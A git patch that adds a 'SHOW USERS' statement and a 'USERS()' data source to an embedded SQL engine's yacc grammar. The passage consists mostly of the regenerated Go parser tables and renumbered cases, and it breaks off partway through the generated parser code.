98f4f77098e7b72845bd9568799ad7a97861ae7d Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 7 Nov 2023 14:42:15 +0100 Subject: [PATCH 0914/1062] chore(embedded/sql): show users stmt Signed-off-by: Jeronimo Irazabal --- embedded/sql/parser.go | 1 + embedded/sql/sql_grammar.y | 14 +- embedded/sql/sql_parser.go | 566 +++++++++++++++++++------------------ 3 files changed, 307 insertions(+), 274 deletions(-) diff --git a/embedded/sql/parser.go b/embedded/sql/parser.go index 4855c6a617..957cdd5a86 100644 --- a/embedded/sql/parser.go +++ b/embedded/sql/parser.go @@ -95,6 +95,7 @@ var reservedWords = map[string]int{ "SHOW": SHOW, "DATABASES": DATABASES, "TABLES": TABLES, + "USERS": USERS, } var joinTypes = map[string]JoinType{ diff --git a/embedded/sql/sql_grammar.y b/embedded/sql/sql_grammar.y index c065476f0e..25b4fae6e3 100644 --- a/embedded/sql/sql_grammar.y +++ b/embedded/sql/sql_grammar.y @@ -75,7 +75,7 @@ func setResult(l yyLexer, stmts []SQLStmt) { %token SELECT DISTINCT FROM JOIN HAVING WHERE GROUP BY LIMIT OFFSET ORDER ASC DESC AS UNION ALL %token NOT LIKE IF EXISTS IN IS %token AUTO_INCREMENT NULL CAST SCAST -%token SHOW DATABASES TABLES +%token SHOW DATABASES TABLES USERS %token NPARAM %token PPARAM %token JOINTYPE @@ -538,6 +538,13 @@ dqlstmt: ds: &FnDataSourceStmt{fnCall: &FnCall{fn: "tables"}}, } } +| + SHOW USERS + { + $$ = &SelectStmt{ + ds: &FnDataSourceStmt{fnCall: &FnCall{fn: "users"}}, + } + } select_stmt: SELECT opt_distinct opt_selectors FROM ds opt_indexon opt_joins opt_where opt_groupby opt_having opt_orderby opt_limit opt_offset { @@ -650,6 +657,11 @@ ds: { $$ = &FnDataSourceStmt{fnCall: &FnCall{fn: "tables"}, as: $4} } +| + USERS '(' ')' opt_as + { + $$ = &FnDataSourceStmt{fnCall: &FnCall{fn: "users"}, as: $4} + } | fnCall opt_as { diff --git a/embedded/sql/sql_parser.go b/embedded/sql/sql_parser.go index fae40084ee..1f47268c6f 100644 --- a/embedded/sql/sql_parser.go +++ b/embedded/sql/sql_parser.go @@ -122,22 +122,23 @@ const SCAST = 57409 const SHOW = 57410 const DATABASES = 57411 const TABLES = 57412 -const NPARAM = 57413 -const PPARAM = 57414 -const JOINTYPE = 57415 -const LOP = 57416 -const CMPOP = 57417 -const IDENTIFIER = 57418 -const TYPE = 57419 -const INTEGER = 57420 -const FLOAT = 57421 -const VARCHAR = 57422 -const BOOLEAN = 57423 -const BLOB = 57424 -const AGGREGATE_FUNC = 57425 -const ERROR = 57426 -const DOT = 57427 -const STMT_SEPARATOR = 57428 +const USERS = 57413 +const NPARAM = 57414 +const PPARAM = 57415 +const JOINTYPE = 57416 +const LOP = 57417 +const CMPOP = 57418 +const IDENTIFIER = 57419 +const TYPE = 57420 +const INTEGER = 57421 +const FLOAT = 57422 +const VARCHAR = 57423 +const BOOLEAN = 57424 +const BLOB = 57425 +const AGGREGATE_FUNC = 57426 +const ERROR = 57427 +const DOT = 57428 +const STMT_SEPARATOR = 57429 var yyToknames = [...]string{ "$end", @@ -210,6 +211,7 @@ var yyToknames = [...]string{ "SHOW", "DATABASES", "TABLES", + "USERS", "NPARAM", "PPARAM", "JOINTYPE", @@ -248,111 +250,113 @@ var yyExca = [...]int16{ -1, 1, 1, -1, -2, 0, - -1, 83, - 59, 150, - 62, 150, - -2, 138, - -1, 210, - 45, 114, - -2, 109, - -1, 243, - 45, 114, + -1, 84, + 59, 152, + 62, 152, + -2, 140, + -1, 212, + 45, 116, -2, 111, + -1, 246, + 45, 116, + -2, 113, } const yyPrivate = 57344 -const yyLast = 419 +const yyLast = 424 var yyAct = [...]int16{ - 82, 331, 69, 204, 118, 236, 156, 264, 268, 97, - 162, 153, 193, 242, 110, 263, 6, 194, 175, 51, - 88, 113, 302, 313, 165, 166, 202, 255, 20, 254, - 230, 168, 202, 202, 307, 202, 306, 81, 287, 303, - 285, 256, 202, 231, 85, 297, 288, 87, 164, 22, - 203, 100, 96, 269, 19, 286, 250, 98, 99, 249, - 247, 229, 101, 68, 91, 92, 93, 94, 95, 70, - 270, 284, 227, 219, 86, 218, 201, 122, 265, 90, - 115, 85, 129, 136, 87, 145, 140, 141, 100, 96, - 226, 143, 223, 145, 98, 99, 215, 214, 177, 101, - 146, 91, 92, 93, 94, 95, 70, 130, 131, 133, - 132, 86, 158, 136, 144, 142, 90, 136, 124, 121, - 109, 155, 108, 330, 172, 136, 167, 159, 134, 135, - 291, 179, 180, 181, 182, 183, 184, 135, 169, 133, - 132, 130, 131, 133, 132, 192, 195, 71, 191, 130, - 131, 133, 132, 111, 70, 71, 324, 122, 196, 190, - 66, 290, 209, 230, 220, 104, 207, 197, 171, 210, - 202, 117, 216, 283, 217, 260, 251, 85, 221, 71, - 87, 212, 208, 211, 100, 96, 70, 71, 225, 222, - 98, 99, 160, 136, 80, 101, 290, 91, 92, 93, - 94, 95, 70, 120, 134, 135, 238, 86, 29, 30, - 189, 240, 90, 56, 154, 276, 246, 130, 131, 133, - 132, 262, 234, 114, 119, 200, 176, 195, 228, 199, - 198, 261, 176, 178, 173, 257, 136, 170, 267, 252, - 147, 125, 103, 258, 259, 74, 271, 134, 135, 102, - 72, 266, 275, 38, 277, 278, 272, 273, 58, 55, - 130, 131, 133, 132, 50, 161, 195, 245, 20, 57, - 139, 40, 41, 127, 128, 213, 282, 28, 292, 138, - 186, 301, 293, 281, 167, 296, 224, 185, 298, 300, - 136, 123, 187, 73, 19, 188, 46, 64, 304, 39, - 332, 333, 312, 311, 316, 237, 205, 323, 20, 310, - 317, 295, 111, 319, 10, 12, 11, 309, 45, 322, - 274, 325, 116, 36, 43, 321, 328, 329, 326, 314, - 163, 13, 305, 334, 19, 62, 335, 235, 7, 233, - 8, 9, 14, 15, 47, 48, 16, 17, 37, 35, - 34, 23, 20, 279, 149, 150, 151, 148, 107, 232, - 2, 24, 320, 239, 126, 59, 60, 61, 76, 75, - 206, 25, 27, 26, 49, 105, 106, 31, 19, 32, - 33, 248, 21, 44, 79, 78, 53, 54, 157, 289, - 112, 137, 280, 299, 315, 327, 253, 294, 84, 83, - 308, 244, 243, 241, 77, 52, 63, 42, 67, 65, - 89, 318, 152, 174, 18, 5, 4, 3, 1, + 83, 336, 70, 206, 119, 239, 157, 268, 272, 98, + 163, 154, 195, 245, 267, 196, 111, 6, 177, 52, + 114, 89, 20, 307, 204, 166, 167, 168, 259, 233, + 258, 204, 312, 170, 204, 204, 204, 292, 86, 290, + 318, 88, 260, 234, 205, 101, 97, 311, 19, 82, + 165, 273, 99, 100, 308, 302, 293, 102, 291, 92, + 93, 94, 95, 96, 71, 69, 254, 253, 274, 87, + 252, 250, 232, 230, 91, 22, 222, 137, 221, 203, + 269, 229, 116, 130, 226, 146, 123, 141, 142, 135, + 136, 218, 144, 86, 146, 217, 88, 216, 179, 147, + 101, 97, 131, 132, 134, 133, 145, 99, 100, 193, + 143, 125, 102, 159, 92, 93, 94, 95, 96, 71, + 122, 110, 156, 109, 87, 174, 137, 169, 137, 91, + 160, 72, 181, 182, 183, 184, 185, 186, 135, 136, + 171, 248, 335, 296, 173, 329, 194, 197, 112, 295, + 123, 131, 132, 134, 133, 134, 133, 233, 72, 198, + 223, 192, 204, 211, 118, 71, 105, 209, 199, 289, + 212, 67, 72, 288, 219, 264, 220, 255, 86, 71, + 224, 88, 210, 214, 213, 101, 97, 191, 161, 57, + 228, 225, 99, 100, 137, 121, 72, 102, 137, 92, + 93, 94, 95, 96, 71, 155, 280, 136, 241, 87, + 295, 29, 30, 243, 91, 81, 266, 120, 249, 131, + 132, 134, 133, 131, 132, 134, 133, 237, 178, 115, + 197, 231, 202, 201, 265, 200, 178, 180, 261, 137, + 175, 271, 256, 172, 148, 263, 58, 262, 126, 275, + 104, 135, 136, 270, 75, 279, 73, 281, 282, 283, + 277, 276, 38, 59, 131, 132, 134, 133, 56, 51, + 197, 103, 162, 10, 12, 11, 40, 41, 42, 306, + 215, 28, 297, 20, 287, 140, 298, 227, 169, 301, + 13, 286, 305, 303, 139, 128, 129, 7, 137, 8, + 9, 14, 15, 309, 124, 16, 17, 317, 316, 19, + 188, 20, 65, 20, 47, 322, 189, 187, 324, 190, + 74, 39, 46, 240, 327, 321, 330, 337, 338, 207, + 328, 333, 334, 331, 315, 300, 112, 19, 339, 19, + 314, 340, 278, 117, 36, 44, 326, 319, 48, 49, + 164, 310, 63, 238, 236, 35, 34, 23, 284, 150, + 151, 152, 149, 108, 235, 2, 24, 325, 37, 242, + 127, 76, 31, 77, 32, 208, 25, 27, 26, 50, + 106, 107, 33, 251, 158, 60, 61, 62, 45, 80, + 79, 54, 55, 21, 294, 113, 138, 285, 304, 320, + 332, 257, 299, 85, 84, 313, 247, 246, 244, 78, + 53, 64, 43, 68, 66, 90, 323, 153, 176, 18, + 5, 4, 3, 1, } var yyPact = [...]int16{ - 310, -1000, -1000, -43, -1000, -1000, -1000, 322, -1000, -1000, - 354, 201, 360, 363, 316, 315, 279, 177, 243, 202, - 281, -1000, 310, -1000, 236, 236, 236, 355, -1000, 188, - 376, 183, 193, 182, 177, 177, 177, 297, -1000, 240, - -1000, -1000, 71, -1000, -1000, 174, 235, 169, 349, 236, - -1000, -1000, 372, 23, 23, -1000, 166, 80, 353, 29, - 27, 265, 147, 226, -1000, 278, -1000, 85, 148, -1000, - 26, 72, -1000, 230, 25, 165, 344, -1000, 23, 23, - -1000, 119, 130, 212, -1000, 119, 119, 22, -1000, -1000, - 119, -1000, -1000, -1000, -1000, -1000, 21, -1000, -1000, -1000, - -1000, -8, -1000, 7, 164, 332, 330, 331, 138, 138, - 382, 119, 106, -1000, 190, -1000, -45, 103, -1000, -1000, - 161, 79, 158, -1000, 156, 5, 157, -1000, -1000, 130, - 119, 119, 119, 119, 119, 119, 222, 233, 133, -1000, - 62, 50, 226, 54, 119, 119, 138, -1000, 156, 154, - 153, 149, -18, 84, -1000, -44, 256, 351, 130, 382, - 147, 119, 382, 376, 266, 4, 3, 148, 0, 148, - -1000, -19, -21, -1000, 78, -1000, 101, 138, -1, 50, - 50, 227, 227, 62, 20, -1000, 221, 119, -3, -1000, - -22, -1000, 173, -33, 77, 130, -51, -1000, -1000, 335, - -1000, 304, 146, 302, 254, 119, 343, 256, -1000, 130, - 194, 148, -34, 366, -35, -38, -1000, -1000, -1000, -1000, - 150, -66, -53, 138, -1000, 62, -14, -1000, 98, -1000, - 119, -1000, 145, -15, -1000, -15, -1000, 119, 130, -23, - 254, 265, -1000, 194, 275, -1000, -1000, 148, 139, 148, - 148, 326, -1000, 218, 95, -7, -1000, -54, -39, -56, - -48, 130, -1000, 110, -1000, 119, 75, 130, -1000, -1000, - 138, -1000, 263, -1000, -45, -1000, -49, -1000, -1000, -23, - 225, -1000, 216, -74, -55, -1000, -1000, -1000, -1000, -1000, - -15, 293, -58, -60, 271, 260, 382, 148, -71, -1000, - -1000, -1000, -1000, -1000, -1000, 289, -1000, -1000, 252, 119, - 111, 342, -1000, -1000, 284, 256, 258, 130, 70, -1000, - 119, -1000, 254, 111, 111, 130, -1000, 37, 247, -1000, - 111, -1000, -1000, -1000, 247, -1000, + 269, -1000, -1000, -18, -1000, -1000, -1000, 328, -1000, -1000, + 359, 204, 355, 365, 322, 321, 300, 185, 265, 207, + 302, -1000, 269, -1000, 254, 254, 254, 360, -1000, 192, + 381, 191, 169, 186, 185, 185, 185, 314, -1000, 255, + -1000, -1000, -1000, 81, -1000, -1000, 179, 262, 177, 351, + 254, -1000, -1000, 377, 35, 35, -1000, 173, 80, 358, + 29, 27, 289, 152, 241, -1000, 299, -1000, 77, 140, + -1000, 26, 64, -1000, 243, 17, 171, 350, -1000, 35, + 35, -1000, 120, 63, 227, -1000, 120, 120, 16, -1000, + -1000, 120, -1000, -1000, -1000, -1000, -1000, 12, -1000, -1000, + -1000, -1000, 0, -1000, 5, 167, 337, 335, 336, 128, + 128, 378, 120, 101, -1000, 196, -1000, -44, 95, -1000, + -1000, 166, 54, 163, -1000, 159, 4, 160, -1000, -1000, + 63, 120, 120, 120, 120, 120, 120, 252, 257, 109, + -1000, 131, 65, 241, 14, 120, 120, 128, -1000, 159, + 158, 156, 155, -16, 75, -1000, -51, 279, 356, 63, + 378, 152, 120, 378, 381, 271, 3, 1, -3, 140, + -9, 140, -1000, -17, -19, -1000, 73, -1000, 102, 128, + -10, 65, 65, 235, 235, 131, 135, -1000, 222, 120, + -13, -1000, -22, -1000, 176, -23, 70, 63, -52, -1000, + -1000, 340, -1000, 319, 150, 318, 272, 120, 349, 279, + -1000, 63, 67, 140, -24, 368, -25, -28, -29, -1000, + -1000, -1000, -1000, 151, -66, -53, 128, -1000, 131, -20, + -1000, 97, -1000, 120, -1000, 139, -14, -1000, -14, -1000, + 120, 63, -26, 272, 289, -1000, 67, 297, -1000, -1000, + 140, 129, 140, 140, 140, 331, -1000, 226, 94, 90, + -1000, -56, -37, -58, -39, 63, -1000, 123, -1000, 120, + 62, 63, -1000, -1000, 128, -1000, 287, -1000, -44, -1000, + -40, -1000, -1000, -1000, -26, 228, -1000, 214, -74, -41, + -1000, -1000, -1000, -1000, -1000, -14, 312, -48, -63, 294, + 285, 378, 140, -55, -1000, -1000, -1000, -1000, -1000, -1000, + 307, -1000, -1000, 273, 120, 119, 347, -1000, -1000, 305, + 279, 281, 63, 58, -1000, 120, -1000, 272, 119, 119, + 63, -1000, 55, 274, -1000, 119, -1000, -1000, -1000, 274, + -1000, } var yyPgo = [...]int16{ - 0, 418, 360, 417, 416, 415, 16, 414, 413, 18, - 11, 8, 412, 411, 15, 7, 17, 12, 410, 9, - 20, 409, 408, 2, 407, 406, 10, 330, 19, 405, - 404, 194, 403, 13, 402, 401, 0, 14, 400, 399, - 398, 397, 3, 5, 396, 4, 395, 394, 1, 6, - 318, 393, 392, 391, 21, 390, 389, 382, + 0, 423, 365, 422, 421, 420, 17, 419, 418, 18, + 11, 8, 417, 416, 14, 7, 15, 12, 415, 9, + 21, 414, 413, 2, 412, 411, 10, 350, 19, 410, + 409, 215, 408, 13, 407, 406, 0, 16, 405, 404, + 403, 402, 3, 5, 401, 4, 400, 399, 1, 6, + 322, 398, 397, 396, 20, 395, 394, 393, } var yyR1 = [...]int8{ @@ -363,15 +367,16 @@ var yyR1 = [...]int8{ 12, 12, 14, 14, 15, 10, 10, 13, 13, 17, 17, 16, 16, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 19, 8, 8, 9, 44, 44, 44, - 51, 51, 52, 52, 52, 6, 6, 6, 6, 7, - 25, 25, 24, 24, 21, 21, 22, 22, 20, 20, - 20, 23, 23, 26, 26, 26, 26, 26, 26, 27, - 28, 29, 29, 29, 30, 30, 30, 31, 31, 32, - 32, 33, 33, 34, 35, 35, 37, 37, 41, 41, - 38, 38, 42, 42, 43, 43, 47, 47, 49, 49, - 46, 46, 48, 48, 48, 45, 45, 45, 36, 36, - 36, 36, 36, 36, 36, 36, 39, 39, 39, 39, - 53, 53, 40, 40, 40, 40, 40, 40, 40, 40, + 51, 51, 52, 52, 52, 6, 6, 6, 6, 6, + 7, 25, 25, 24, 24, 21, 21, 22, 22, 20, + 20, 20, 23, 23, 26, 26, 26, 26, 26, 26, + 26, 27, 28, 29, 29, 29, 30, 30, 30, 31, + 31, 32, 32, 33, 33, 34, 35, 35, 37, 37, + 41, 41, 38, 38, 42, 42, 43, 43, 47, 47, + 49, 49, 46, 46, 48, 48, 48, 45, 45, 45, + 36, 36, 36, 36, 36, 36, 36, 36, 39, 39, + 39, 39, 53, 53, 40, 40, 40, 40, 40, 40, + 40, 40, } var yyR2 = [...]int8{ @@ -382,89 +387,92 @@ var yyR2 = [...]int8{ 0, 1, 1, 3, 3, 1, 3, 1, 3, 0, 1, 1, 3, 1, 1, 1, 1, 1, 6, 1, 1, 1, 1, 4, 1, 3, 5, 0, 3, 3, - 0, 1, 0, 1, 2, 1, 4, 2, 2, 13, - 0, 1, 0, 1, 1, 1, 2, 4, 1, 4, - 4, 1, 3, 3, 4, 4, 4, 2, 6, 1, - 2, 0, 2, 2, 0, 2, 2, 2, 1, 0, - 1, 1, 2, 6, 0, 1, 0, 2, 0, 3, - 0, 2, 0, 2, 0, 2, 0, 3, 0, 4, - 2, 4, 0, 1, 1, 0, 1, 2, 1, 1, - 2, 2, 4, 4, 6, 6, 1, 1, 3, 3, - 0, 1, 3, 3, 3, 3, 3, 3, 3, 4, + 0, 1, 0, 1, 2, 1, 4, 2, 2, 2, + 13, 0, 1, 0, 1, 1, 1, 2, 4, 1, + 4, 4, 1, 3, 3, 4, 4, 4, 4, 2, + 6, 1, 2, 0, 2, 2, 0, 2, 2, 2, + 1, 0, 1, 1, 2, 6, 0, 1, 0, 2, + 0, 3, 0, 2, 0, 2, 0, 2, 0, 3, + 0, 4, 2, 4, 0, 1, 1, 0, 1, 2, + 1, 1, 2, 2, 4, 4, 6, 6, 1, 1, + 3, 3, 0, 1, 3, 3, 3, 3, 3, 3, + 3, 4, } var yyChk = [...]int16{ -1000, -1, -2, -3, -4, -5, -6, 28, 30, 31, 4, 6, 5, 21, 32, 33, 36, 37, -7, 68, - 42, -57, 92, 29, 7, 17, 19, 18, 76, 7, - 8, 17, 19, 17, 34, 34, 44, -27, 76, 56, - 69, 70, -24, 43, -2, -50, 60, -50, -50, 19, - 76, -28, -29, 10, 11, 76, 20, 76, 76, -27, - -27, -27, 38, -25, 57, -21, 89, -22, -20, -23, - 83, 76, 76, 58, 76, 20, -50, -30, 13, 12, - -31, 14, -36, -39, -40, 58, 88, 61, -20, -18, - 93, 78, 79, 80, 81, 82, 66, -19, 71, 72, - 65, 76, -31, 76, 85, 22, 23, 5, 93, 93, - -37, 47, -55, -54, 76, -6, 44, 86, -45, 76, - 55, 93, 85, 61, 93, 76, 20, -31, -31, -36, - 87, 88, 90, 89, 74, 75, 63, -53, 67, 58, - -36, -36, 93, -36, 93, 93, 93, 76, 25, 24, - 25, 25, -12, -10, 76, -10, -49, 6, -36, -37, - 86, 75, -26, -27, 93, 69, 70, -19, 76, -20, - 76, 89, -23, 76, -8, -9, 76, 93, 76, -36, - -36, -36, -36, -36, -36, 65, 58, 59, 62, 77, - -6, 94, -36, -17, -16, -36, -10, -9, 76, 76, - 76, 94, 86, 94, -42, 50, 19, -49, -54, -36, - -49, -28, -6, 9, 93, 93, -45, -45, 94, 94, - 86, 77, -10, 93, 65, -36, 93, 94, 55, 94, - 86, 94, 24, 35, 76, 35, -43, 51, -36, 20, - -42, -32, -33, -34, -35, 73, -45, 94, 15, 94, - 94, 26, -9, -44, 95, 93, 94, -10, -6, -16, - 77, -36, 76, -14, -15, 93, -14, -36, -11, 76, - 93, -43, -37, -33, 45, -45, 76, -45, -45, 27, - -52, 65, 58, 78, 78, 94, 94, 94, 94, -56, - 86, 20, -17, -10, -41, 48, -26, 94, -11, -51, - 64, 65, 96, 94, -15, 39, 94, 94, -38, 46, - 49, -49, -45, 94, 40, -47, 52, -36, -13, -23, - 20, 41, -42, 49, 86, -36, -43, -46, -23, -23, - 86, -48, 53, 54, -23, -48, + 42, -57, 93, 29, 7, 17, 19, 18, 77, 7, + 8, 17, 19, 17, 34, 34, 44, -27, 77, 56, + 69, 70, 71, -24, 43, -2, -50, 60, -50, -50, + 19, 77, -28, -29, 10, 11, 77, 20, 77, 77, + -27, -27, -27, 38, -25, 57, -21, 90, -22, -20, + -23, 84, 77, 77, 58, 77, 20, -50, -30, 13, + 12, -31, 14, -36, -39, -40, 58, 89, 61, -20, + -18, 94, 79, 80, 81, 82, 83, 66, -19, 72, + 73, 65, 77, -31, 77, 86, 22, 23, 5, 94, + 94, -37, 47, -55, -54, 77, -6, 44, 87, -45, + 77, 55, 94, 86, 61, 94, 77, 20, -31, -31, + -36, 88, 89, 91, 90, 75, 76, 63, -53, 67, + 58, -36, -36, 94, -36, 94, 94, 94, 77, 25, + 24, 25, 25, -12, -10, 77, -10, -49, 6, -36, + -37, 87, 76, -26, -27, 94, 69, 70, 71, -19, + 77, -20, 77, 90, -23, 77, -8, -9, 77, 94, + 77, -36, -36, -36, -36, -36, -36, 65, 58, 59, + 62, 78, -6, 95, -36, -17, -16, -36, -10, -9, + 77, 77, 77, 95, 87, 95, -42, 50, 19, -49, + -54, -36, -49, -28, -6, 9, 94, 94, 94, -45, + -45, 95, 95, 87, 78, -10, 94, 65, -36, 94, + 95, 55, 95, 87, 95, 24, 35, 77, 35, -43, + 51, -36, 20, -42, -32, -33, -34, -35, 74, -45, + 95, 15, 95, 95, 95, 26, -9, -44, 96, 94, + 95, -10, -6, -16, 78, -36, 77, -14, -15, 94, + -14, -36, -11, 77, 94, -43, -37, -33, 45, -45, + 77, -45, -45, -45, 27, -52, 65, 58, 79, 79, + 95, 95, 95, 95, -56, 87, 20, -17, -10, -41, + 48, -26, 95, -11, -51, 64, 65, 97, 95, -15, + 39, 95, 95, -38, 46, 49, -49, -45, 95, 40, + -47, 52, -36, -13, -23, 20, 41, -42, 49, 87, + -36, -43, -46, -23, -23, 87, -48, 53, 54, -23, + -48, } var yyDef = [...]int16{ 0, -2, 1, 4, 6, 7, 8, 10, 11, 12, 0, 0, 0, 0, 0, 0, 0, 0, 75, 0, - 82, 2, 5, 9, 27, 27, 27, 0, 14, 0, - 101, 0, 0, 0, 0, 0, 0, 0, 99, 80, - 77, 78, 0, 83, 3, 0, 0, 0, 0, 27, - 15, 16, 104, 0, 0, 18, 0, 0, 0, 0, - 0, 116, 0, 0, 81, 0, 84, 85, 135, 88, - 0, 91, 13, 0, 0, 0, 0, 100, 0, 0, - 102, 0, 108, -2, 139, 0, 0, 0, 146, 147, - 0, 53, 54, 55, 56, 57, 0, 59, 60, 61, - 62, 91, 103, 0, 0, 0, 0, 0, 40, 0, - 128, 0, 116, 37, 0, 76, 0, 0, 86, 136, - 0, 0, 0, 28, 0, 0, 0, 105, 106, 107, - 0, 0, 0, 0, 0, 0, 0, 0, 0, 151, - 140, 141, 0, 0, 0, 49, 0, 22, 0, 0, - 0, 0, 0, 41, 45, 0, 122, 0, 117, 128, - 0, 0, 128, 101, 0, 0, 0, 135, 99, 135, - 137, 0, 0, 92, 0, 64, 0, 0, 0, 152, - 153, 154, 155, 156, 157, 158, 0, 0, 0, 149, - 0, 148, 0, 0, 50, 51, 0, 23, 24, 0, - 26, 0, 0, 0, 124, 0, 0, 122, 38, 39, - -2, 135, 0, 0, 0, 0, 97, 87, 89, 90, - 0, 67, 0, 0, 159, 142, 0, 143, 0, 63, - 0, 21, 0, 0, 46, 0, 33, 0, 123, 0, - 124, 116, 110, -2, 0, 115, 93, 135, 0, 135, - 135, 0, 65, 72, 0, 0, 19, 0, 0, 0, - 0, 52, 25, 35, 42, 49, 32, 125, 129, 29, - 0, 34, 118, 112, 0, 94, 0, 95, 96, 0, - 70, 73, 0, 0, 0, 20, 144, 145, 58, 31, - 0, 0, 0, 0, 120, 0, 128, 135, 0, 66, - 71, 74, 68, 69, 43, 0, 44, 30, 126, 0, - 0, 0, 98, 17, 0, 122, 0, 121, 119, 47, - 0, 36, 124, 0, 0, 113, 79, 127, 132, 48, - 0, 130, 133, 134, 132, 131, + 83, 2, 5, 9, 27, 27, 27, 0, 14, 0, + 103, 0, 0, 0, 0, 0, 0, 0, 101, 81, + 77, 78, 79, 0, 84, 3, 0, 0, 0, 0, + 27, 15, 16, 106, 0, 0, 18, 0, 0, 0, + 0, 0, 118, 0, 0, 82, 0, 85, 86, 137, + 89, 0, 92, 13, 0, 0, 0, 0, 102, 0, + 0, 104, 0, 110, -2, 141, 0, 0, 0, 148, + 149, 0, 53, 54, 55, 56, 57, 0, 59, 60, + 61, 62, 92, 105, 0, 0, 0, 0, 0, 40, + 0, 130, 0, 118, 37, 0, 76, 0, 0, 87, + 138, 0, 0, 0, 28, 0, 0, 0, 107, 108, + 109, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 153, 142, 143, 0, 0, 0, 49, 0, 22, 0, + 0, 0, 0, 0, 41, 45, 0, 124, 0, 119, + 130, 0, 0, 130, 103, 0, 0, 0, 0, 137, + 101, 137, 139, 0, 0, 93, 0, 64, 0, 0, + 0, 154, 155, 156, 157, 158, 159, 160, 0, 0, + 0, 151, 0, 150, 0, 0, 50, 51, 0, 23, + 24, 0, 26, 0, 0, 0, 126, 0, 0, 124, + 38, 39, -2, 137, 0, 0, 0, 0, 0, 99, + 88, 90, 91, 0, 67, 0, 0, 161, 144, 0, + 145, 0, 63, 0, 21, 0, 0, 46, 0, 33, + 0, 125, 0, 126, 118, 112, -2, 0, 117, 94, + 137, 0, 137, 137, 137, 0, 65, 72, 0, 0, + 19, 0, 0, 0, 0, 52, 25, 35, 42, 49, + 32, 127, 131, 29, 0, 34, 120, 114, 0, 95, + 0, 96, 97, 98, 0, 70, 73, 0, 0, 0, + 20, 146, 147, 58, 31, 0, 0, 0, 0, 122, + 0, 130, 137, 0, 66, 71, 74, 68, 69, 43, + 0, 44, 30, 128, 0, 0, 0, 100, 17, 0, + 124, 0, 123, 121, 47, 0, 36, 126, 0, 0, + 115, 80, 129, 134, 48, 0, 132, 135, 136, 134, + 133, } var yyTok1 = [...]int8{ @@ -472,12 +480,12 @@ var yyTok1 = [...]int8{ 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, - 93, 94, 89, 87, 86, 88, 91, 90, 3, 3, + 94, 95, 90, 88, 87, 89, 92, 91, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, - 3, 95, 3, 96, + 3, 96, 3, 97, } var yyTok2 = [...]int8{ @@ -489,7 +497,7 @@ var yyTok2 = [...]int8{ 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, - 82, 83, 84, 85, 92, + 82, 83, 84, 85, 86, 93, } var yyTok3 = [...]int8{ @@ -1210,6 +1218,13 @@ yydefault: } } case 79: + yyDollar = yyS[yypt-2 : yypt+1] + { + yyVAL.stmt = &SelectStmt{ + ds: &FnDataSourceStmt{fnCall: &FnCall{fn: "users"}}, + } + } + case 80: yyDollar = yyS[yypt-13 : yypt+1] { yyVAL.stmt = &SelectStmt{ @@ -1226,407 +1241,412 @@ yydefault: offset: yyDollar[13].exp, } } - case 80: + case 81: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.distinct = true } - case 81: + case 82: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.distinct = false } - case 82: + case 83: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.distinct = false } - case 83: + case 84: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.distinct = true } - case 84: + case 85: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.sels = nil } - case 85: + case 86: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.sels = yyDollar[1].sels } - case 86: + case 87: yyDollar = yyS[yypt-2 : yypt+1] { yyDollar[1].sel.setAlias(yyDollar[2].id) yyVAL.sels = []Selector{yyDollar[1].sel} } - case 87: + case 88: yyDollar = yyS[yypt-4 : yypt+1] { yyDollar[3].sel.setAlias(yyDollar[4].id) yyVAL.sels = append(yyDollar[1].sels, yyDollar[3].sel) } - case 88: + case 89: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.sel = yyDollar[1].col } - case 89: + case 90: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.sel = &AggColSelector{aggFn: yyDollar[1].aggFn, col: "*"} } - case 90: + case 91: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.sel = &AggColSelector{aggFn: yyDollar[1].aggFn, table: yyDollar[3].col.table, col: yyDollar[3].col.col} } - case 91: + case 92: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.col = &ColSelector{col: yyDollar[1].id} } - case 92: + case 93: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.col = &ColSelector{table: yyDollar[1].id, col: yyDollar[3].id} } - case 93: + case 94: yyDollar = yyS[yypt-3 : yypt+1] { yyDollar[1].tableRef.period = yyDollar[2].period yyDollar[1].tableRef.as = yyDollar[3].id yyVAL.ds = yyDollar[1].tableRef } - case 94: + case 95: yyDollar = yyS[yypt-4 : yypt+1] { yyDollar[2].stmt.(*SelectStmt).as = yyDollar[4].id yyVAL.ds = yyDollar[2].stmt.(DataSource) } - case 95: + case 96: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ds = &FnDataSourceStmt{fnCall: &FnCall{fn: "databases"}, as: yyDollar[4].id} } - case 96: + case 97: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ds = &FnDataSourceStmt{fnCall: &FnCall{fn: "tables"}, as: yyDollar[4].id} } - case 97: + case 98: + yyDollar = yyS[yypt-4 : yypt+1] + { + yyVAL.ds = &FnDataSourceStmt{fnCall: &FnCall{fn: "users"}, as: yyDollar[4].id} + } + case 99: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.ds = &FnDataSourceStmt{fnCall: yyDollar[1].value.(*FnCall), as: yyDollar[2].id} } - case 98: + case 100: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.ds = &tableRef{table: yyDollar[4].id, history: true, as: yyDollar[6].id} } - case 99: + case 101: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.tableRef = &tableRef{table: yyDollar[1].id} } - case 100: + case 